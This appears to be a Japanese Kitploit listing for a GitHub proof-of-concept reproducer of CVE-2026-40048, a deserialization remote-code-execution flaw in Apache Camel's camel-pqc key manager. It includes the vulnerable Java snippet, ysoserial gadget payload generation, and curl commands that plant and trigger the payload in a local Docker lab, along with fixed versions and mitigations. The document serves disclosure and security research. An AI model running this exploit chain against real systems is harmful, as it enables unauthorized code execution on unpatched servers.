Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40048 — CVE-2026-40048 の再現コード: Apache Camel camel-pqc FileBasedKeyLifecycleManager の安全でないデシリアライズ (RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40048
静的分析脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHuboscerd/cve-2026-40048

CVE-2026-40048

CVE-2026-40048 の再現コード: Apache Camel camel-pqc FileBasedKeyLifecycleManager の安全でないデシリアライズ (RCE)

1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

camel-pqc FileBasedKeyLifecycleManager 安全でないデシリアライゼーション再現器 (CVE-2026-40048)

このプロジェクトは、Apache Camel の camel-pqc コンポーネントにおける Java デシリアライゼーションの脆弱性(CVE-2026-40048 として追跡)を示しています。FileBasedKeyLifecycleManager は、設定されたキーディレクトリから <keyId>.key ファイルを、生の ObjectInputStream および ObjectInputFilter なしで読み取るため、そのディレクトリに書き込み可能な攻撃者は リモートコード実行 を達成できます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-40048.html

脆弱性の概要

プロパティ値
コンポーネントcamel-pqc
影響を受けるクラスorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: 信頼されていないデータのデシリアライゼーション
影響Remote Code Execution (RCE)
影響を受けるバージョン4.18.0 から 4.18.2 未満、および 4.19.0 から 4.20.0 未満
修正バージョン4.18.2, 4.20.0
JIRACAMEL-23200
報告者Andrea Cosentino (ASF), Venkatraman Kumar (Securin)

技術的な詳細

FileBasedKeyLifecycleManager は、耐量子鍵をシリアライズされた Java オブジェクトとして <keyDir>/<keyId>.key に永続化します。鍵の読み込みでは、そのファイルを生の ObjectInputStream でデシリアライズし、KeyPair へのキャストは readObject() が戻った 後に のみ行われます:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

キーディレクトリに書き込み可能な攻撃者(パストラバーサル、誤設定されたボリューム権限、侵害された鍵プロビジョニングパイプライン、シンボリックリンク攻撃などを通じて)は、通常の鍵ライフサイクルロード中に実行される巧妙に細工されたシリアライズオブジェクトを仕掛けることができます。

前提条件

  • Java 17+ および Maven 3.8+(jar をビルドするため)
  • Docker(再現器を実行するため)
  • ysoserial(ペイロード生成のため)

再現手順

ステップ 1: jar をビルドしコンテナを起動する

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

ステップ 2: 悪意のあるペイロードを生成する

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ステップ 3: ペイロードを <keyId>.key として配置する

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

ステップ 4: 鍵ライフサイクルの読み込みをトリガーする (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

ステップ 5: 確認

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

getKey() は通常の鍵ライフサイクル操作(署名/検証鍵の取得、ローテーションチェックなど)中に呼び出されるため、攻撃者が仕掛けた <keyId>.key を読み込むとデシリアライゼーションがトリガーされます。

悪用条件

  1. FileBasedKeyLifecycleManager が使用するキーディレクトリへの書き込みアクセス(共有/誤設定されたボリューム、パストラバーサル、侵害されたプロビジョニング、シンボリックリンク)。
  2. クラスパス上のガジェットライブラリ(例: commons-collections:3.2.1)。

関連する後続の CVE

キーストア内の ObjectInputStream パターンはその後、より広範囲に対処されました:

  • CVE-2026-46590 — HashiCorp Vault + AWS Secrets Manager 関連マネージャ(不完全な修正の後続)。
  • CVE-2026-43867 — 同じ AWS Secrets Manager パスに対する独立した報告。

推奨される修正

4.18.2 / 4.20.0 にアップグレードしてください。修正では、ObjectInputStream ベースのストレージを標準の PKCS#8(秘密鍵)/ X.509 SubjectPublicKeyInfo(公開鍵)Base64 JSON エンコーディングに置き換えます。

緩和策

アップグレードまでの間:

  1. キーディレクトリへの書き込みアクセスをアプリケーション自身のIDに制限する。
  2. ガジェットライブラリを削除する(commons-collections 3.x をアップグレード/削除)。
  3. 信頼性の低いプリンシパルが書き込めないボリュームに鍵素材を保持する。

ファイル

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

免責事項

この再現器は、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみのために提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード